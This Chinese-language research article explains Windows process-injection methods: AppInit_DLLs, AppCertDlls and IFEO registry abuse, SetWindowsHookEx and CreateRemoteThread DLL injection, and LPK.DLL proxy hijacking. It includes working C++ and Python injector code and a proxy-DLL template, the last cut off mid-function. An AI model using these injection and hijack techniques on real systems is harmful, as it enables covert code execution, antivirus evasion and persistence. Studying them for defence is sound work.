Windows Process Injection(Windows进程注入)技术研究
1. 关于进程注
0x1:什么是进程注入
进程注入是一种在独立的活动进程的地址空间中执行任意代码的方法,在另一个进程的上下文中运行代码,会允许访问该进程的内存、系统资源、网络资源以及可能的特权提升。
由于执行的代码由合法的程序代理执行,因此通过进程注入执行也可能会绕过部分安全产品的防病毒检测或进程白名单检测。
0x2:进程注入在攻防对抗中的作用
进程注入是一种广泛使用的躲避检测的技术,通常用于恶意软件或者无文件技术。其需要在另一个进程的地址空间内运行特制代码,进程注入改善了不可见性,同时一些技术也实现了持久性。
大体上,进程注入可以分为两种形式:
- DLL注入
- Shellcode注入
这两种方式没有本质上的区别,在操作系统层面,dll也是shellcode汇编代码。为了开发方便,白帽子常常会将代码以dll的形式编译并传播,在实际注入的时候,由注入方或者被注入方调用loadlibrary加载。
本文的主题主要围绕各种进程注入技术进行原理讨论,并从防守方思考对应的检测和防御手段。
2. 通过修改注册表实现注入和持久性
0x1:技术原理
windows整个系统的配置都保存在这个注册表中,我们可以通过调整其中的设置来改变系统的行为,恶意软件常用于注入和持久性的注册表项条目位于以下位置:
- HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
- HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
- HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls
- HKLM\Software\Microsoft\Windows NT\currentversion\image file execution options
1. AppInit_DLLs
当User32.dll被映射到一个新的进程时,会收到DLL_PROCESS_ATTACH通知,当User32.dll对它进行处理的时候,会取得上述注册表键的值,并调用LoadLibary来载入这个字符串中指定的每个DLL。
AppInit_Dlls: 该键的值可能会包含一个DLL的文件名或一组DLL的文件名(通过空格或逗号分隔)(由于空格是用来分隔文件名的,所以我们必须避免在文件名中包含空格)。第一个DLL的文件名可以包含路径,但其他DLL包含的路径则会被忽略,出于这个原因,我们最好是将自己的DLL放到windows的系统目录中,这样就不必指定路径了
User32.dll是一个非常常见的库,用于存储对话框等图形元素。因此,当恶意软件修改此子键时,大多数进程将加载恶意库。
从原理上,该方法很像linux下的LD_PRELOAD注入技术。
需要注意的是,在win7之后,windows对dll加载的安全性增加了控制,
- LoadAppInit_DLLs 为1开启,为0关闭,(Win7默认为0)
- RequireSignedAppInit_DLLs 值为1表明模块需要签名才能加载,反之。
2. AppCertDlls
此方法与AppInit_DLLs方法非常相似,此注册表项下的DLL被加载到调用Win32 API函数CreateProcess,CreateProcessAsUser,CreateProcessWithLogonW,CreateProcessWithTokenW和WinExec的每个进程中。
3. 映像文件执行选项(IFEO)
IFEO通常用于调试目的。开发人员可以在此注册表项下设置“调试器值”,以将程序附加到另一个可执行文件以进行调试。
因此,每当启动可执行文件时,会启动附加到它的程序。
要使用此功能,你只需提供调试器的路径,并将其附加到要分析的可执行文件。恶意软件可以修改此注册表项以将其自身注入目标可执行文件。下图中,Diztakun木马通过修改任务管理器的调试器值来实现此技术。
0x2: 该方法的风险点和缺点
- 被注入的DLL是在进程的生命周期的早期(Loader)被载入的,因此我们在调用函数的时候应该谨慎,调用Kernel32.dll中的函数应该没有问题,但是调用其他DLL中的函数可能会导致失败,甚至可能会导致蓝屏
- User32.dll不会检查每个DLL的载入或初始化是否成功,所以不能保证DLL注入一定成功
- DLL只会被映射到那些使用了User32.dll的进程中,所有基于GUI的应用程序都使用了User32.dll,但大多数基于CUI的应用程序都不会使用它。因此,如果想要将DLL注入到编译器或者链接器或者命令行程序,这种方法就不可行
- DLL会被映射到每个基于GUI的应用程序中,可能会因为DLL被映射到太多的进程中,导致"容器"进程崩溃
- 注入的DLL会在应用程序终止之前,一直存在于进程的地址空间中,这个技术无法做到只在需要的时候才注入我们的DLL
Relevant Link:
https://blog.csdn.net/hades1996/article/details/9197797
3. 使用Windows挂钩来注入DLL
0x1:技术原理
钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理该消息。
因此,钩子机制允许应用程序截获处理window消息或特定事件。
底层上看,钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。
我们可以用挂钩(SetWindowsHookEx)来将一个DLL注入到进程的地址空间中。
主要用到的核心函数模块说明如下:
1. 设置钩子:SetWindowsHookEx
HHOOK WINAPI SetWindowsHookEx( __in int idHook, \\钩子类型 __in HOOKPROC lpfn, \\回调函数地址 __in HINSTANCE hMod, \\实例句柄 __in DWORD dwThreadId); \\线程ID )
2. 搜索需要注入DLL的目标进程:
1)获取目标进程id
DWORD CInjectDLLDlg::GetPIdByProcessName(const char* pszProcessName) { DWORD id = 0; //获得系统快照句柄 (得到当前的所有进程) HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0) ; PROCESSENTRY32 pInfo; //用于保存进程信息的一个数据结构 pInfo.dwSize = sizeof(pInfo); //从快照中获取进程列表 Process32First(hSnapShot, &pInfo) ; //从第一个进程开始循环 do { //这里的 pszProcessName 为你的进程名称 if(strcmp(strlwr(_strdup(pInfo.szExeFile)), pszProcessName) == 0) { id = pInfo.th32ProcessID ; break ; } }while(Process32Next(hSnapShot, &pInfo) != FALSE); return id; }
2)获取目标进程的主线程id:GetThreadID
DWORD CInjectDLLDlg::GetThreadID(ULONG32 ulTargetProcessID) { HANDLE Handle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (Handle != INVALID_HANDLE_VALUE) { THREADENTRY32 te; te.dwSize = sizeof(te); if (Thread32First(Handle, &te)) { do { if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) { if (te.th32OwnerProcessID == ulTargetProcessID) { HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID); if (!hThread) { printf("Couldn't get thread handle\r\n"); } else { return te.th32ThreadID; } } } } while (Thread32Next(Handle, &te)); } } CloseHandle(Handle); return (DWORD)0; }
0x2:完整代码示例
1. 被注入进程
private: DWORD m_dwId; HHOOK m_hHook; HMODULE m_hmDll; private: DWORD GetPIdByProcessName(const char* pszProcessName); BOOL InjectDllBySetWindowsHook(ULONG32 ulTargetProcessID,char* pszDllName); DWORD GetThreadID(ULONG32 ulTargetProcessID); /*获取ID按钮*/ void CInjectDLLDlg::OnBnClickedBtnGetid() { char szProName[MAX_PATH] = {0}; GetDlgItemText(IDC_ED_NAME,szProName,MAX_PATH); if(strstr(szProName,".exe") == NULL) strcat_s(szProName,MAX_PATH * sizeof(char),".exe"); m_dwId = GetPIdByProcessName(szProName); SetDlgItemInt(IDC_ED_ID,(int)m_dwId,FALSE); } /*Windows挂钩DLL注入*/ DWORD CInjectDLLDlg::GetPIdByProcessName(const char* pszProcessName) { DWORD id = 0; //获得系统快照句柄 (得到当前的所有进程) HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0) ; PROCESSENTRY32 pInfo; //用于保存进程信息的一个数据结构 pInfo.dwSize = sizeof(pInfo); //从快照中获取进程列表 Process32First(hSnapShot, &pInfo) ; //从第一个进程开始循环 do { //这里的 pszProcessName 为你的进程名称 if(strcmp(strlwr(_strdup(pInfo.szExeFile)), pszProcessName) == 0) { id = pInfo.th32ProcessID ; break ; } }while(Process32Next(hSnapShot, &pInfo) != FALSE); return id; } /*Windows挂钩Dll注入 按钮*/ void CInjectDLLDlg::OnBnClickedOk() { char szDllName[MAX_PATH] = {0}; GetDlgItemText(IDC_ED_DLLNAME,szDllName,MAX_PATH); BOOL bRet = InjectDllBySetWindowsHook((ULONG32)m_dwId,szDllName); if (bRet) { //MessageBox("注入成功"); } } /*进程注入*/ BOOL CInjectDLLDlg::InjectDllBySetWindowsHook(ULONG32 ulTargetProcessID,char* pszDllName) { HMODULE m_hmDll = LoadLibrary(pszDllName); if (NULL == m_hmDll) { MessageBox("LoadLibraryError!"); return FALSE; } HOOKPROC sub_address = NULL; sub_address = (HOOKPROC)GetProcAddress(m_hmDll,"MyMessageProcess"); if (NULL == sub_address) { MessageBox("GetProcAddressError!"); return FALSE; } DWORD dwThreadID = GetThreadID(ulTargetProcessID); /* 参数1:要安装的挂钩类型 参数2:指定系统调用的窗口消息处理函数 参数3:标示一个包含窗口处理消息函数(参数2)的DLL 参数4:安装挂钩的线程ID */ m_hHook = SetWindowsHookEx(WH_KEYBOARD, sub_address, m_hmDll, dwThreadID); } /*获取进程的主线程ID*/ DWORD CInjectDLLDlg::GetThreadID(ULONG32 ulTargetProcessID) { HANDLE Handle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (Handle != INVALID_HANDLE_VALUE) { THREADENTRY32 te; te.dwSize = sizeof(te); if (Thread32First(Handle, &te)) { do { if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) { if (te.th32OwnerProcessID == ulTargetProcessID) { HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID); if (!hThread) { printf("Couldn't get thread handle\r\n"); } else { return te.th32ThreadID; } } } } while (Thread32Next(Handle, &te)); } } CloseHandle(Handle); return (DWORD)0; } /*退出按钮*/ void CInjectDLLDlg::OnBnClickedCancel() { if(m_hHook) UnhookWindowsHookEx(m_hHook); if(m_hmDll) FreeLibrary(m_hmDll); CDialogEx::OnCancel(); }
- 打开待注入的DLL文件
- 获取需要注入执行的DLL中的函数地址
- 通过SetWindowsHookEx向目标进程设置钩子,钩子消息的回调函数入口点就是DLL中的入口函数地址
2. Dll
#ifdef MyDll #else #define MyDll extern "C" __declspec(dllimport) #endif MyDll LRESULT MyMessageProcess(int Code, WPARAM wParam, LPARAM lParam); #include "stdafx.h"
#define MyDll extern "C" __declspec(dllexport) #include "MyDll.h" MyDll LRESULT MyMessageProcess(int Code, WPARAM wParam, LPARAM lParam) { MessageBoxA(NULL, "GetMessage!", "Message", 0); return 0; }
0x3: 该方案的优缺点
1. 优点
- 和利用注册表来注入DLL的方法相比,这种方法允许我们在不需要该DLL的时候从进程的地址空间中撤销对它的映射,只需要调用UnhookWindowsHookEx就可以达到目的。当一个线程调用UnhookWindowsHookEx的时候,系统会遍历自己内部的一个已经注入过该DLL的进程列表,并将该DLL的锁计数器递减。当锁计数器减到0的时候,系统会自动从进程的地址空间中撤销对该DLL的映射
- 这种方式可以理解为借用了windows自己原生的机制来进行DLL注入,注入过程比较稳定
- 当系统把挂钩过滤函数(hook filter function)所对应的DLL注入或映射到地址空间中时,会映射整个DLL,而不仅仅只是挂钩过滤函数,这意味着该DLL内的所有函数存在于被注入的进程中,能够被被注入进程中的任何线程调用。
2. 缺点
- 系统为了防止内存访问违规,在被注入进程指定Hook函数的时候,会对注入DLL的锁计数器加1,因为如果不这么做,则被注入进程在执行Hook函数的时候,系统的另一个进程可能会调用UnhookWindowsHookEx,从而引起内存访问违规。这导致我们不能在调用了Hook函数,且函数还在运行时把挂钩清除,在Hook函数执行的整个生命周期,这个挂钩必须一直有效。
Relevant Link:
https://baike.baidu.com/item/SetWindowsHookEx https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa https://blog.csdn.net/rankun1/article/details/50973190 http://www.voidcn.com/article/p-sofgheea-brw.html https://blog.csdn.net/ms2146/article/details/5722472 https://www.freebuf.com/articles/system/93413.html
4. 基于CreateRemoteThread+WriteProcessMemory植入LoadLibrary实现动态注入DLL
0x1:技术原理
基本步骤如下:
- 使用VirtualAllocEx在目标进程的地址空间中创建一块内存空间
- 使用WriteProcessMemory,将loadlibrary(DLL)的shellcode地址写入分配的内存
- 一旦DLL路径写入内存中,再使用CreateRemoteThread(或者其他无正式说明的功能)从被注入的Shellcode内存地址开始启动
下面我们分部讨论全流程,
1. 使用VirtualAllocEx在目标进程的地址空间中创建一块我们DLL所在路径长度的内存空间
//This dll path should be relative to the target process or an absolute path char* dll = "inject.dll"; //We need a handle to the process we will be injecting into HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); //Create the space needed for the dll we are going to be injecting LPVOID lpSpace = (LPVOID)VirtualAllocEx(hProcess, NULL, strlen(dll), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
2. 使用WriteProcessMemory将DLL路径写入分配的内存
//Write inject.dll to memory of process int n = WriteProcessMemory(hProcess, lpSpace, dll, strlen(dll), NULL);
3. 使用CreateRemoteThread调用LoadLibrary函数将DLL注入目标进程中
HMODULE hModule = GetModuleHandle("kernel32.dll"); LPVOID lpBaseAddress = (LPVOID)GetProcAddress(hModule,"LoadLibraryA"); //Create Remote Thread using the address to LoadLibraryA and the space for the DLL hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, NULL, NULL);
关于 CreateRemoteThread,windows中存在两个无正式说明的函数,
- NtCreateThreadEx
- RtlCreateUserThread:RtlCreateUserThread 是 NtCreateThreadEx 的封装。因为NtCreateThreadEx 的系统调用选项可以在Windows版本间改变。因此,RtlCreateUserThread 更稳定一些。Mimikatz 和 Metasploit。这两个都是使用RtlCreateUserThread来实现DLL注入的。
HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId ); 1. hProcess: 表示新创建的线程归哪个进程所有 A handle to the process in which the thread is to be created. The handle must have the PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ access rights, and may fail without these rights on certain platforms 2. lpStartAddress: 代表新建远程线程的入口函数地址 注意,这个函数地址应该在远程进程的地址空间中,而不是在我们自己进程的地址空间。因为我们只是在远程进程中新建了一个线程,我们自己的DLL这个时候还没有被载入远程进程中,我们这个时候是孤身深入地方阵地的,没有携带任何武器,只能使用地方阵地上已有的东西制造登录平台,来实现后续的DLL注入(即利用LoadLibrary)
这里需要注意的是,如果在调用CreateRemoteThread的时候直接引用LoadLibraryW,该引用会被解析为我们模块的导入段中的LoadLibraryW转换函数的地址。如果把这个转换函数的地址作为远程线程的起始地址传入,其结果很可能是访问违规,为了强制让代码略过转换函数并直接调用LoadLibraryW函数,我们必须通过调用GetProcAddress来得到LoadLibraryW在注入DLL中的的准确地址,
对CreateRemoteThread的调用假定在本地进程(local process)和远程进程中,Kernel32.dll被映射到地址空间中的同一内存地址。每个应用程序都需要Kernel32.dll,且每个进程中都会将Kernel32.dll映射到同一个地址,即使这个地址在系统重启之后可能会改变,因此,我们可以按照如下的方式来调用
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibrary"); HANDLE hThread = CreateRemoteThread(hProcessRemote, NULL, 0, pfnThreadRtn, L"C:\\Mylib.dll", 0, NULL);
但是这里还有一个问题,还是内存地址空间隔离的问题,我们传入的这个L"C:\\Mylib.dll"在编译时会被翻译为当前本地进程的内存地址,但是对于远程进程来说,这个地址可能是无效的,这可能导致访问违规,进而导致远程进程崩溃。为了解决这个问题,我们需要把DLL的路径字符串存放到远程进程的地址空间去,然后在调用CreateRemoteThread传入
LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect ); 让我们在远程进程中分配一块内存,一旦为字符串分配了一块内存,我们还需要向这个内存块中写入字符串内容 BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten );
这里再一次说明,CreateRemoteThread里传入的所有信息,都必须是在远程进程中有效的地址,这就相当于我们深入敌阵之前已经探查好了地形,当深入敌阵的那一瞬间,我们是按照事先探查好的地形(对应于远程进程中的有效内存地址)来进行后续的行动(即LoadLibraryW)。
梳理一下总的流程:
- 用VirtualAllocEx函数在远程进程的地址空间中分配一块内存
- 用WriteProcessMemory函数把DLL的路径名字符串复制到第一步分配的内存中
- 用GetProcAddress函数来得到LoadLibraryW函数(在Kernel32.dll)在远程进行中的实际地址
- 用CreateRemoteThread函数在远程进程中创建一个线程,让新线程调用正确的LoadLibraryW函数并在参数中传入第一步分配的内存地址。
- 这时,DLL已经被注入到远程进程的地址空间,DLL的DllMain函数会收到DLL_PROCESS_ATTACH通知并且可以执行我们自定义的代码逻辑
- 当DllMain返回的时候,远程线程会从LoadLibraryW调用返回到BaseThreadStart函数。BaseThreadStart然后调用ExitThread,使远程线程终止
- 现在远程进程中有一块内存,它是我们在第一步分配的,DLL也还在远程进程的内存空间中,为了对它们进行清理,我们需要在远程线程退出之后执行后续步骤
- 用VirtualFreeEx来释放第一步分配的内存
- 用GetProcAddress来得到FreeLibrary函数(在Kernel32.dll)中的实际地址
- 用CreateRemoteThread函数在远程进程中创建一个线程,让该线程调用FreeLibrary函数并在参数中传入远程DLL的HMODULE
0x2: 代码示例
#!/usr/bin/python # Win32 DLL injector from Grey Hat Python # Minor formatting cleanups done... import sys from ctypes import * print "DLL Injector implementation in Python" print "Taken from Grey Hat Python" if (len(sys.argv) != 3): print "Usage: %s <PID> <Path To DLL>" %(sys.argv[0]) print "Eg: %s 1111 C:\\test\messagebox.dll" %(sys.argv[0]) sys.exit(0) PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x00F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get handle to process being injected... h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[!] Couldn't get handle to PID: %s" %(pid) print "[!] Are you sure %s is a valid PID?" %(pid) sys.exit(0) # Allocate space for DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) # Write DLL path to allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) # Resolve LoadLibraryA Address h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") # Now we createRemoteThread with entrypoiny set to LoadLibraryA and pointer to DLL path as param thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[!] Failed to inject DLL, exit..." sys.exit(0) print "[+] Remote Thread with ID 0x%08x created." %(thread_id.value)
0x3:方案风险点
- CreateRemoteThread的第一个参数是远程进程的句柄HANDLE,我们需要调用OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);,并请求合适的访问权限,方案兼容性可能就出在这个访问权限。如果OpenProcess返回NULL,那说明应用程序所在的安全上下文(security context)不允许它打开目标进程的句柄。一些进程是本地系统帐号(local system account)运行的,例如WinLogon、SvcHost和Csrss,登录的用户是无法对这些进程进行修改的
- CreateRemoteThread+DLL注入只是让我们有机会定向地让一个目标远程执行我们自定义的代码逻辑。到了这一步还未完成API Hook,因为进程注入只有One Shoot一次机会,如果我们希望持久地控制目标进程的行为,就需要在注入的DLL的DllMain中实现API Hook的代码逻辑
Relevant Link:
https://github.com/infodox/python-dll-injection https://www.freebuf.com/articles/system/94693.html
5. DLL劫持
0x1:技术原理
每个PE文件都有一个"导入表",pe文件在加载时,会从"导入表"中获取要加载的DLL的名称,然后按照指定的目录顺序去加载这些dll。"导入表"中有系统dll,也有程序自带的dll,因此dll劫持可再细分为
- 系统dll劫持:替换系统原生dll(例如kernel32.dll)
- 程序自带dll劫持(随应用程序分发的dll)
1. 系统dll劫持
DLL在被加载时的搜索顺序如下:
- 当注册表HKLM\System\CurrentControlSet\Control\Session Manager键值下的属性SafeDllSearchMode的值设置为1时,DLL搜索顺序如下
- 应用程序EXE所在的路径
- 系统目录
- 16位系统目录
- Windows目录
- 当前目录
- PATH环境变量指定的目录
- 当SafeDllSearchMode的值为0时,dll搜索顺序变为
- 应用程序EXE所在的路径
- 当前目录:当前目录的搜索顺序被提前了,较容易遭到DLL劫持攻击
- 系统目录
- 16位系统目录
- Windows目录
- PATH环境变量指定的目录
要注意的是,Win7及以后的系统增加了HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 来拒绝部分系统dll被劫持。该注册表中的dll名称不允许被劫持,即系统dll劫持会失败。
不过,微软又莫名其妙的允许用户在上述注册表路径中添加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs注册表项”机制保护的DLL。也就是说,只要在“ExcludeFromKnownDlls”注册表项中添加你想劫持的DLL名称就可以对该DLL进行劫持,不过修改之后需要重新启动电脑才能生效。
DLL劫持主要是因为Windows的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的系统目录中,如kernel32.dll,这样能够方便找到。
但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。
为了提供这样的功能,在Window2000开始,微软加了一个特性,强制操作系统的加载程序首先从应用程序目录中加载模块,只有当加载程序无法在应用程序目录中找到文件,才搜索其他目录。利用系统的这个特性,就可以使应用程序强制加载我们指定的DLL做一些特殊的工作。
例如,Windows的系统目录下有一个名为LPK.DLL的系统文件,程序运行时会在c:\Windows\system32文件夹下找到这个DLL文件并加载它。如打开记事本程序。
攻击者可以构造一个和被劫持DLL导出函数同名的DLL文件,然后在内部转发真实的函数调用,再将其放在可执行文件的目录即可实现DLL劫持了。
2. 程序自带dll劫持
除了系统dll劫持之外,黑客还常用针对某个应用程序一起分发的dll的劫持,这种dll劫持系统本身不提供保护,需要应用程序自己去做签名和完整性校验。
0x2: DLL劫持的实现
通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL
- 构造一个与系统目录下LPK.DLL一样的导出表
- 加载系统目录下的LPK.DLL
- 将导出函数转发到系统目录下的LPK.DLL上
- 在初始化函数中加入我们要执行的代码
lpk.cpp
// lpk.cpp : Defines the entry point for the DLL application. // #pragma comment(lib, "user32.lib") //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 头文件 #include "stdafx.h" //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 #pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1") #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2") #pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3") #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4") //#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5") #pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6") #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7") #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8") #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9") #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10") #pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11") //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 宏定义 #define EXTERNC extern "C" #define NAKED __declspec(naked) #define EXPORT __declspec(dllexport) #define ALCPP EXPORT NAKED #define ALSTD EXTERNC EXPORT NAKED void __stdcall #define ALCFAST EXTERNC EXPORT NAKED void __fastcall #define ALCDECL EXTERNC NAKED void __cdecl //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //LpkEditControl导出的是数组,不是单一的函数(by Backer) EXTERNC void __cdecl AheadLib_LpkEditControl(void); EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {AheadLib_LpkEditControl}; //////////////////////////////////////////////////////////////////////////////////////////////// //添加全局变量 //////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // AheadLib 命名空间 namespace AheadLib { HMODULE m_hModule = NULL; // 原始模块句柄 // 加载原始模块 inline BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; TCHAR tzTemp[MAX_PATH * 2]; GetSystemDirectory(tzPath, MAX_PATH); lstrcat(tzPath, TEXT("\\lpk")); m_hModule=LoadLibrary(tzPath); if (m_hModule == NULL) { wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); }; return (m_hModule != NULL); } // 释放原始模块 inline VOID WINAPI Free() { if (m_hModule) { FreeLibrary(m_hModule); } } // 获取原始函数地址 FARPROC WINAPI GetAddress(PCSTR pszProcName) { FARPROC fpAddress; CHAR szProcName[16]; TCHAR tzTemp[MAX_PATH]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf(szProcName, "%d", pszProcName); pszProcName = szProcName; } wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); ExitProcess(-2); } return fpAddress; } } using namespace AheadLib; //////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////// //函数声明 void WINAPIV Init(LPVOID pParam); //////////////////////////////////////////////////////////////////////////////////////////////// void WINAPIV Init(LPVOID pParam) { //在这里添加DLL加载代码 MessageBox(NULL, TEXT("可以执行任意代码了,测试成功。"), TEXT("littlehann.com"), MB_OK | MB_ICONWARNING); return; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 入口函数 BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); if(Load()) { //LpkEditControl这个数组有14个成员,必须将其复制过来 memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52); _beginthread(Init,NULL,NULL); } else return FALSE; } else if (dwReason == DLL_PROCESS_DETACH) { Free(); } return TRUE; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkInitialize(void) { GetAddress("LpkInitialize"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkTabbedTextOut(void) { GetAddress("LpkTabbedTextOut"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkDllInitialize(void) { GetAddress("LpkDllInitialize"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkDrawTextEx(void) { GetAddress("LpkDrawTextEx"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkEditControl(void) { GetAddress("LpkEditControl"); __asm jmp DWORD ptr [EAX];//这里的LpkEditControl是数组,eax存的是函数指针 } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkExtTextOut(void) { GetAddress("LpkExtTextOut"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkGetCharacterPlacement(void) { GetAddress("LpkGetCharacterPlacement"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkGetTextExtentExPoint(void) { GetAddress("LpkGetTextExtentExPoint"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkPSMTextOut(void) { GetAddress("LpkPSMTextOut"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkUseGDIWidthCache(void) { GetAddress("LpkUseGDIWidthCache"); __asm JMP 